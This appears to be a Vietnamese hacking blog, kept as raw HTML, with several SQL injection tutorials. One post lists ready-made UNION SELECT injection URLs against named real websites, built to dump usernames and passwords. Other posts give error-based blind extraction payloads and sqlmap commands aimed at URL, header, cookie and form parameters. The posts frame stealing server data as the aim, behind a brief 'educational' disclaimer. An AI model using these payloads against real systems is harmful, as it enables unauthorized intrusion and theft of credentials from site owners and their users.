<div dir="ltr" style="text-align: left;" trbidi="on"> <blockquote class="tr_bq"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Link Download</span><span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><a href="http://www.mediafire.com/?6hh2ykae8xpuq2q">http://www.mediafire.com/?6hh2ykae8xpuq2q</a></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Hoặc</span><span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><a href="https://www.box.com/s/3m0xluf10xdhcdw95qzu">https://www.box.com/s/3m0xluf10xdhcdw95qzu</a></span></blockquote> </div>

[TUT] SQL dạng HTML

Link Download http://www.mediafire.com/?6hh2ykae8xpuq2q Hoặc https://www.box.com/s/3m0xluf10xdhcdw95qzu

Read More »

Random Injections

<div dir="ltr" style="text-align: left;" trbidi="on"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">1<br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username, ​0x3b,password),5,6,7,8,9,10 from users_tbl--</span></blockquote> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />2/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.nbjm-sprayer.com/products.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,0x3b,password),18,1 ​9,20,21,22,23 from user_table--</span></blockquote> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />3/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.mcdonaldlawoffice.net/story.php?articleid=-8 UNION SELECT 1,2,group_concat(name,0x3b,password),4,5,6,7,8,9,10,11,12,13,14,15,16 from users--</span></blockquote> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />4/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://localtime.biz/product.php?cat_id=-1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(email,0x3b, ​pwd,0x3c,0x62,0x72,0x3e),4 from users--</span></blockquote> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />5/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.eltee.de/kolumnen_id.php?id=-30175 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6,7,8--</span></blockquote> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />6/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq"> <span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.media4world.de/mini_d/list_art.php?shop=-5 UNION SELECT group_concat(username,0x3b,kwort,0x3b,admin,0x3c,0x62,0x72,0x3e) from user--</span></blockquote> </div>

Random Injections

1 Mã: http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version...

Read More »

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

<div dir="ltr" style="text-align: left;" trbidi="on"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Ví dụ victim có dạng:<br /><br />http://target.com/page.php?id = 1<br /><br />Lệnh get version, database<br /><br />http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color]<br /><br />Tương tự vậy, lệnh get table:<br /><br />And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /><br />Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)<br /><br />And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /><br />Tiếp theo, lấy column của một table nào đó<br /><br />And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /><br />Tăng số 1 theo nguyên tắc như trên.<br /><br />Và cuối cùng là dữ liệu:<br /><br />And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)<br /><br />CEH</span></div>

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng: http://target.com/page.php?id = 1 Lệnh get version, database http://target.com/page.php?id = 1 [color=#ffffffff]And (...

Read More »

SQL Injection Attack part.3 (End)

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7pYrSeZMo9BGuRqxEVQ2Gnhr0Mqap3NhoXXWlHZ3YSDMdcnBaPS9Ser6xJs20R0hOmFxfLCipzxPKan5JsocjcZ1_jYx8i-Yx1SLxalcyGgLO6dtH1rQD_6ff6McuoAZ8jTlgR2qaHlo3/s1600/kd_sqlia_classification_2010.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7pYrSeZMo9BGuRqxEVQ2Gnhr0Mqap3NhoXXWlHZ3YSDMdcnBaPS9Ser6xJs20R0hOmFxfLCipzxPKan5JsocjcZ1_jYx8i-Yx1SLxalcyGgLO6dtH1rQD_6ff6McuoAZ8jTlgR2qaHlo3/s1600/kd_sqlia_classification_2010.png" width="466" /></a></div> <span style="font-family: "Trebuchet MS",sans-serif;">Đọc Thêm:</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;">- <a href="http://keyzcenly.blogspot.com/2014/07/sql-injection-attack-part1.html" target="_blank">SQL Injection Attack part.1</a></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;">- <a href="http://keyzcenly.blogspot.com/2014/07/sql-injection-attack-part2.html" target="_blank">SQL Injection Attack part.2</a></span></div>

SQL Injection Attack part.3 (End)

Đọc Thêm: - SQL Injection Attack part.1 - SQL Injection Attack part.2

Read More »

SQL Injection Attack part.2

<div dir="ltr" style="text-align: left;" trbidi="on"> <h2> <span style="font-family: Verdana,sans-serif;"><span style="color: red;">PHẦN 2: NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…?</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">10 điều “cần” và “phải” biết đã đề cập trong phần 1:</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: red;">Identifying injectable parameters</span> - </strong><span style="color: grey;"><strong>Performing database finger-printing - </strong><strong>Determining database - </strong><strong>Extracting data - </strong><strong>Adding or modifying data - </strong><strong>Performing denial of service - </strong><strong>Evading detection - </strong><strong>Bypassing authentication - </strong><strong>Executing remote - </strong><strong>Performing privilege escalation</strong></span></span></blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><a href="https://securityforall.wordpress.com/2012/07/19/sql-injection-la-gi/" target="_blank">https://securityforall.wordpress.com/2012/07/19/sql-injection-la-gi/</a> (Phần 1)</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Trong phần 2 này, mình sẽ chỉ tập trung vào việc <span style="color: black;">“</span><span style="color: blue;"><strong>Identifying injectable parameters</strong></span>” (nghĩa là: Xác định tham số có thể chèn SQL Injection) từ cơ bản đến hơi hơi nâng cao.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: black;"><strong>1.URL</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: black;"><strong>2. HTTP Header</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: black;"><strong>3. Cookie</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: black;"><strong>4. Forms</strong><strong> (<span style="color: grey;">HTTP body</span>)</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: Verdana,sans-serif;"><span style="color: #666699;">1.URL</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: grey;"><strong><a href="http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12" rel="nofollow">http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12</a></strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Phân tích: Đây là website có CMS là Joomla (<span style="color: blue;"><strong>chúng ta sẽ ưu tiên những tham số có giá trị dạng number</strong></span>, ở đây ta có id=12)</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;"><a href="http://victim.com.vn/index.php" rel="nofollow">http://victim.com.vn/index.php</a></span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;">?option=com_content <———- có thể ở đây bị lỗ hổng chăng?</span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;">&view=category <———- có thể ở đây bị lỗ hổng chăng?</span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;">&layout=blog <———- có thể ở đây bị lỗ hổng chăng?</span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;">&id=12 <———- có thể ở đây bị lỗ hổng chăng?</span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Sau khi mình thêm ký tự ‘ vào sau <span style="color: red;">id=12</span> thì xuất hiện:</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Warning</strong>: Invalid argument supplied for <span style="color: purple;">yyy()</span> in <span style="color: purple;"><strong>/var/www/xxxxxxxxxxxxx/<span class="skimlinks-unlinked">galery.php</span></strong></span> on line <span style="color: grey;"><strong>22</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Dòng chữ có màu <span style="color: purple;"><strong>này </strong></span>là thông tin đã bị thay đổi để bảo đảm an toàn cho server <img alt=":D" src="https://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Vậy ta chắc chắc một điều rằng: parameter <span style="color: red;">id</span> là nơi có thể chèn lệnh SQL vào. Nếu bạn không chuyên nghiệp hay mù tịt về  SQL Query thì dùng SQLMAP nào.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: grey;">(<strong>Mánh</strong>: các parameter thường thấy trong việc khai thác là </span><strong><span style="color: grey;">id cid gid videoid viewid v.v… (vì những tham số này sẽ là các truy vấn vào database) hoặc các bạn google với keyword :</span> <span style="color: blue;">dork sql injection</span></strong><span style="color: grey;">)</span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: #333333;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://victim.com.vn/index.php?option=com_content&view=category&layout=blog&id=12</span>″</strong> <strong><span style="color: red;">-p id</span> -v 3 –dbs</strong></span></span></blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="68" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/url.jpg" width="620" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">-p id | là chỉ rõ ra paremeter có thể tấn công</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">-v 3 | hiện thông tin truy vấn ra màn hình</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">–dbs | dò tìm những database trên server</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Khi khai thác thành công, kết quả có dạng như hình sau</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="249" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/dbs2-1.jpg" width="620" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: Verdana,sans-serif;"><span style="color: #666699;">2.HTTP Header</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><em>Ở phần này, chúng ta sẽ cần đi sâu hơn vào giao thức HTTP. Để thấy những thông tin mình sắp giới thiệu bên dưới, Các bạn nên dùng Wireshark để bắt gói tin.</em></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">GET / HTTP/1.1<br /> Connection: Keep-Alive<br /> Keep-Alive: 300<br /> Accept:*/*<br /> Host: <a href="http://www.minhtamnw.com/" rel="nofollow">http://www.minhtamnw.com</a></span> <span style="font-family: "Trebuchet MS",sans-serif;"><strong>X_FORWARDED_FOR</strong> :111.222.333.444 <span style="color: purple;"><——— Có thể chèn SQL Injection ở đây</span></span> <span style="font-family: "Trebuchet MS",sans-serif;"><strong>Referer</strong>: <a href="http://www.minhtamnw.com/index.php%C2%A0" rel="nofollow">http://www.minhtamnw.com/index.php </a><span style="color: purple;"><——— Có thể chèn SQL Injection ở đây</span><br /> Accept-Language: en-us<br /> Accept-Encoding: gzip, deflate</span> <span style="font-family: "Trebuchet MS",sans-serif;"><strong>User-Agent</strong>: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;  rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E) <span style="color: purple;"><——— Có thể chèn SQL Injection ở đây</span></span> <span style="font-family: "Trebuchet MS",sans-serif;"><strong>Cookie</strong>: guest_id=v1%3A1328019064; pid=v1%3A1328839311134 <span style="color: purple;"><——— Có thể chèn SQL Injection ở đây</span> <span style="color: blue;">(chúng ta sẽ bàn luận ở phần sau)</span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="83" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/user-agent.jpg" width="620" /> </span><br /> <br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLGM1LmpOciVBENFNcRoRdkEnoNmbC08Zb_8pfiolgGSaU-XEqgcQodjQYcSY2ek4G3n94eKFbgUWSpt6Iy44kAwz0Hu-9MpqSRGPNQjAVa_ncNe2TRmtj8-JNDdL_WMKFUYDqRXbhrQ41/s1600/user-agent2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLGM1LmpOciVBENFNcRoRdkEnoNmbC08Zb_8pfiolgGSaU-XEqgcQodjQYcSY2ek4G3n94eKFbgUWSpt6Iy44kAwz0Hu-9MpqSRGPNQjAVa_ncNe2TRmtj8-JNDdL_WMKFUYDqRXbhrQ41/s1600/user-agent2.jpg" width="640" /></a></div> <span style="font-family: "Trebuchet MS",sans-serif;"><br /></span> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: Verdana,sans-serif;"><span style="color: #666699;">3. Cookie</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="214" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/030612_0226_Cookiebased1.jpg" width="601" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Bạn có bao giờ đăng nhập vào một website nào đó | tắt modem | mở lại modem (IP Public đã thay đổi)| Khi có mạng trở lại, bạn vẫn vào website đó mà không cần gõ user/password để đăng nhập nữa.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Chính cookie đã lưu thông tin về phiên làm việc của bạn tại máy tính cá nhân.| Đây là một trong các ứng dụng của cookie trong giao thức HTTP. Trong bài viết này, tôi không bàn nhiều về cookie là gì, mà chúng ta sẽ chuyển qua giai đoạn khai thác.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="397" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/cookie2.jpg" width="600" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://quantrimang.com.vn</span>” –<span style="color: red;"><span style="color: blue;">cookie=ASP.NET_SessionId=gxrxx4ejl202n2viyvebbx45</span> </span>-<span style="color: red;">p ASP.NET_SessionId</span> –level 3 -v 4</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="139" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/cookie22.jpg" width="620" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Ngoài ra, các bạn có thể dùng add-on<span style="color: blue;"><a href="https://addons.mozilla.org/vi/firefox/addon/live-http-headers/" target="_blank"><span style="color: blue;"><strong> Live HTTP headers</strong></span></a></span> dùng trên Firefox để carpture các header của gói tin.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: #666699;">4.FORMS (HTTP BODY)</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><a href="https://minhtamnw.files.wordpress.com/2012/05/cookie.jpg" target="_blank"><br /> </a>Một cách dễ hiểu hơn là chúng ta sẽ chèn truy vấn vào nội dung của gói tin, ví dụ hình sau:</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="119" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/forms1.jpg" width="500" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">một trang web có thể có rất nhìu form bao gồm <em>thấy được</em> và <em>không thấy được</em> và chúng ta sẽ chèn những truy vấn vào những ô này.</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">một vài thông tin: giao thức HTTP khi gởi dữ liệu từ phía client lên server sẽ dùng phương thức POST. Vì vậy trước khi tấn công loại này, chúng ta cần biết một trang web sẽ gởi đi những gì sau khi chúng ta nhấn nút “Đăng nhập”. Chúng ta vẫn sẽ dùng Live HTTP headers để phân tích</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="239" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/post1.jpg" width="620" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Với dạng này, ta sẽ dùng sqlmap khai thác như sau:</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://www.victim.com.vn/index.php</span>” <span style="color: red;">–data “user_id=injectionhere&password=injectionhere&button=%C4%90%C4%83ng+nh%E1%BA%ADp”</span> -p user_id,password –level 3 -v 3 –dbs</strong></span></blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">tham số –data “dữ liệu vào” : tại đây chúng ta chỉ định dữ liệu và phụ thuộc vào tên của form, ví dụ ta có form user_id và password thì cả 2 phải được điền vào như là một gói tin đầy đủ,(tránh bị server reject do không đủ dữ liệu)</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">-p user_id,password : tiến hành kiểm tra trên 2 tham số chỉ định</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">~~~~~~~~~~~~~~~~~~~~~~~</span><br /> <br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">còn tiếp…</span></div>

SQL Injection Attack part.2

PHẦN 2: NƠI MÀ BẠN QUYẾT ĐỊNH ĐỂ XÂM NHẬP LÀ…? 10 điều “cần” và “phải” biết đã đề cập trong phần 1: Identifying injectable parameters...

Read More »

SQL Injection Attack part.1

<div dir="ltr" style="text-align: left;" trbidi="on"> <div dir="ltr" style="text-align: left;" trbidi="on"> <blockquote> <blockquote class="tr_bq"> <h4 style="text-align: left;"> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;"><b>Bạn chuẩn bị đọc một loại lỗ hổng nguy hiểm bậc nhất thế giới!</b></span></span></h4> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">| có hơn <span style="color: red;"><b>9.680.000</b></span> kết quả do <b><span style="color: blue;">google</span> </b>trả về với từ khóa “<span style="color: purple;">SQL Injection</span>” |</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">| vì vậy mình sẽ không đi sâu vào cơ chế hay giới thiệu nó là gì? |</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">| đây là những kinh nghiệm cũng như công cụ để khai thác |</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">| <span style="color: red;"><b>và quan trọng là vì mục đích giáo dục</b></span> |</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><i>|<span style="color: blue;">không dùng để xâm nhập và phá server vì mục đích mũ đen hay mang tính thương mại</span>|</i></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">———————————</span></blockquote> </blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><br /> <ul> <li><span style="font-family: "Trebuchet MS",sans-serif;"><i>SQL Injection được <span style="color: blue;"><b><a href="https://www.owasp.org/"><span style="color: blue;">OWASP</span></a></b></span></i> (<span style="color: blue;">là một tổ chức phi lợi nhuận tại Mỹ chuyên nghiên cứu, đánh giá và phát triển những ứng dụng web</span>) đánh giá với mức độ <span style="color: red;"><b>nguy hiểm cực kỳ cao</b></span> và phương thức <span style="color: red;"><b>khai thác thì cực kỳ dễ</b></span> @_@.</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;">Bảng báo cáo đánh giá về những phương thức tấn công năm 2010 do OWASP xuất bản bạn có thể tham khảo tại  <b><span style="color: red;">[</span><span style="color: blue;"><a href="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" target="_blank"><span style="color: blue;">Tiếng Anh</span></a></span><span style="color: red;">]</span>  <span style="color: red;">[</span><span style="color: blue;"><a href="http://owasptop10.googlecode.com/files/OWASPTop%2010%20-%202010%20Vietnamese.pdf" target="_blank"><span style="color: blue;">Tiếng Việt</span></a></span><span style="color: red;">] </span></b></span></li> </ul> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRFg3atL-aLbD4DRIazFFGY0kzQiKBgNrl_F4a-qoL-eC9pd0Y7kETl4DjBT8IwpPNnJnL6tH28dZWpAdcL3MOjy-1VZt87ffjlBkVvtRWPtcCDj7QswQTNEgCACVKTaBltvG3-qstR6SR/s1600/owasp1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Khai Thác SQLi" border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRFg3atL-aLbD4DRIazFFGY0kzQiKBgNrl_F4a-qoL-eC9pd0Y7kETl4DjBT8IwpPNnJnL6tH28dZWpAdcL3MOjy-1VZt87ffjlBkVvtRWPtcCDj7QswQTNEgCACVKTaBltvG3-qstR6SR/s1600/owasp1.jpg" title="Khai Thác SQLi" width="640" /></a></div> <h2> <span style="font-family: Verdana,sans-serif;"><span style="color: red;"><strong>I.Phân tích trước khi “xâm phạm server”</strong></span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h3> <span style="font-family: Verdana,sans-serif;"><span style="color: blue;">10 điều “cần” và “phải” biết:</span></span></h3> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><ul> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Identifying injectable parameters</strong>: tìm ra những tham số nào có thể là nguy cơ để mình khai thác (mình sẽ phân tích ở phần tiếp theo)</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Performing database finger-printing</strong>: xác định Loại và Phiên bản của database để đưa ra hướng tấn công thích hợp (<span style="color: red;">MySQL – MSSQL – MSAccess – Oracle ….</span>)</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Determining database schema</strong>: “<strong>database schema</strong>” hay có thể xem là <span style="color: blue;"><strong><em>CƠ SỞ DỮ LIỆU CỦA CƠ SỞ DỮ LIỆU</em></strong> </span>>> <strong>database schema </strong>lưu trữ những thông tin về toàn bộ thông tin database của một server. Hoặc có thể hiểu rằng, <span style="color: green;"><strong>database schema </strong>chứa tên user/password/quyền/số lượng cơ sở dữ liệu/</span>…. (nhưng nó không chứa data của cơ sở dữ liệu.) </span><ul> <li><span style="font-family: "Trebuchet MS",sans-serif;">Ví dụ: Server của tôi có 5 databases (bao gồm minhtamnw1 minhtamnw2 … minhtamnw5) và tương ứng có một cặp user/password tương ứng (user1/password1 …. user5/password5). Vậy những thông tin về số lượng database|user|password|quyền trên từng database|… sẽ được imfomation_schema trên MySQL lưu trữ. Vì vậy tìm ra “database schema” của từng loại Database là rất quan trọng.</span></li> </ul> </li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Extracting data</strong>: Đây chính thức là bước “<span style="color: red;">ăn cắp thông tin</span>” của server. <span style="color: #993300;"><strong>Toàn bộ sẽ dần hiện ra $_$</strong> – <strong>quan trọng là user|password</strong></span> để đăng nhập vào <span style="color: blue;"><strong><a href="http://minhtamnw.wordpress.com/2012/05/16/cms/" target="_blank"><span style="color: blue;">CMS</span></a></strong></span> của server. Tại bước này là Read-Only | chỉ có thể đọc toàn bộ cơ sở dữ liệu.</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Adding or modifying data</strong>: bước này sẽ quyết định bạn <span style="color: red;">có thể thêm bớt vào DB không</span> | Xem hình dưới:</span></li> </ul> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="217" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/insertable.jpg" width="559" /></span><br /> <span style="font-family: "Trebuchet 